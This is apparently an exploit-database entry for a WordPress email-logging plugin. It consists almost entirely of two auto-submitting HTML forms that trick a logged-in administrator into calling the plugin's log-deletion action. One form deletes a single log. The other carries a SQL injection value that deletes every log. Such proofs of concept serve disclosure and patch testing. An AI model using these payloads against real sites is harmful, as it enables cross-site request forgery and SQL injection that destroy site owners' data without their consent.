## https://sploitus.com/exploit?id=WPEX-ID:5341CB5D-D204-49E1-B013-F8959461995F
Make a logged in users with the manage_postman_smtp capability open a page containing the HTML code below
To make them delete the log with ID 1:
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="text" name="action" value="ps-delete-email-logs">
<input type="text" name="selected[]" value="1">
<input type="submit" value="submit">
</form>
</body>
To make them delete all logs via SQL injection:
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="text" name="action" value="ps-delete-email-logs">
<input type="text" name="selected[]" value="0) OR 1=1 -- -">
<input type="submit" value="submit">
</form>
</body>